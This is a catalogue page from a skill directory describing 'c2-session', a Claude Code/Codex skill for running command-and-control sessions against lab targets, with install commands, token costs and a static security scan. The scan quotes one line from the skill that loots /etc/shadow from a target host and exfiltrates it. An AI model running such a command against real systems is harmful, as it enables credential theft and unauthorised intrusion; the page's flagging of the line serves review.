c2-session

c2-session is a skill for Claude Code, Codex from grisuno/LazyOwn. It costs 55 tokens per session (874 once invoked), scanned C, original, GPL-3.0.

A skill for operating live command-and-control sessions against targets in a security lab. It covers starting the server, deploying an agent, running commands, collecting files, and imitating attacker behaviour.

In plain words
What is it for?
Use it for authorised lab exercises involving agent deployment, remote command execution, file collection, and attack-behaviour emulation.
Why use it?
It provides the procedures and safety details needed to manage these lab sessions, including credential rotation, encryption keys, and file-descriptor handling.

Skill for Claude CodeCodex

Which agent this was written for is unclear — body not stored (licence); the path alone says nothing.

Good fit Use it for authorised lab exercises involving agent deployment, remote command execution, file collection, and attack-behaviour emulation.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/grisuno/lazyown/c2-session
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add grisuno/LazyOwn --skill c2-session
Clone the repo
git clone --depth 1 https://github.com/grisuno/LazyOwn

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for c2-session

README.md
[![agentmods](https://agentmods.dev/badge/skills/grisuno/lazyown/c2-session/github.svg)](https://agentmods.dev/skills/grisuno/lazyown/c2-session)
Your own site
<a href="https://agentmods.dev/skills/grisuno/lazyown/c2-session"><img src="https://agentmods.dev/badge/skills/grisuno/lazyown/c2-session/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for c2-session

Your own site · 80×15
<a href="https://agentmods.dev/skills/grisuno/lazyown/c2-session"><img src="https://agentmods.dev/badge/skills/grisuno/lazyown/c2-session.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 55 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 874 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00055 $0.00874
Opus 5.5 $0.00022 $0.00350
Sonnet 5.5 $0.00011 $0.00175
Haiku 4.5 $0.00006 $0.00087

Measured yesterday against content hash da40744c114c, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade C, and why

c2-session scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

c2_loot 172.17.0.2 /etc/shadow # exfiltrate to sessions/loot/ + manifest
skills/c2-session/SKILL.md · 79 lines

The source is not reproduced here

Licensed GPL-3.0

The repository is licensed GPL-3.0, which this catalogue does not treat as permission to reproduce the file. Read it at the source.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. yesterday First seen · 79 lines · 55 tokens per session scan C da40744c114c

Subscribe to this mod's changes

c2-session is a skill published in the GitHub repository grisuno/LazyOwn (300 stars, last pushed today), licensed GPL-3.0. It adds 55 tokens to every session and 874 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it C with 1 finding (reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-10-16.

Related

Other skills, from other repositories

codex-interactive-capability-map

Turn a long-form article, thread, memo, or product narrative into a compact clickable capability map with a workflow loop, use-case matrix, and responsive detail panel.

nexu-io/open-design · 41 tokens

xberg

Extract text, tables, metadata, and images from 107 document formats (PDF, Office, images, HTML, email, archives, academic) using Xberg. Use when writing code that calls Xberg APIs in Python, Node.js/TypeScript, Rust, or CLI. Covers installation, extraction (sync/async), configuration (OCR, chunking, output format)…

xberg-io/xberg · 84 tokens

plugin-architecture-patterns

Design, implement, or diagnose Xberg plugin traits, typed registries, priority collisions, lifecycle, native extractors, and Alef-generated Python plugin bridges. Load for plugin-system work, not ordinary extractor parsing.

xberg-io/xberg · 43 tokens

xberg-chunking

Use when splitting extracted text into chunks for LLM context windows or RAG ingestion. Covers chunk size, overlap, markdown/yaml/semantic chunkers, tokenizer-based sizing, and the standalone chunk command.

xberg-io/xberg · 43 tokens

xberg-extracting-keywords

Use when extracting keywords (YAKE/RAKE) from documents — and, secondarily, when detecting document language or generating embeddings for RAG and search. Covers the keyword config (and its feature gating), --detect-language, and the standalone embed command with real flags.

xberg-io/xberg · 58 tokens

xberg-extracting-tables

Use when extracting tabular data from PDFs, spreadsheets, or images. Covers layout-aware table detection, table model selection, output formats (markdown / JSON cells), and known limits.

xberg-io/xberg · 36 tokens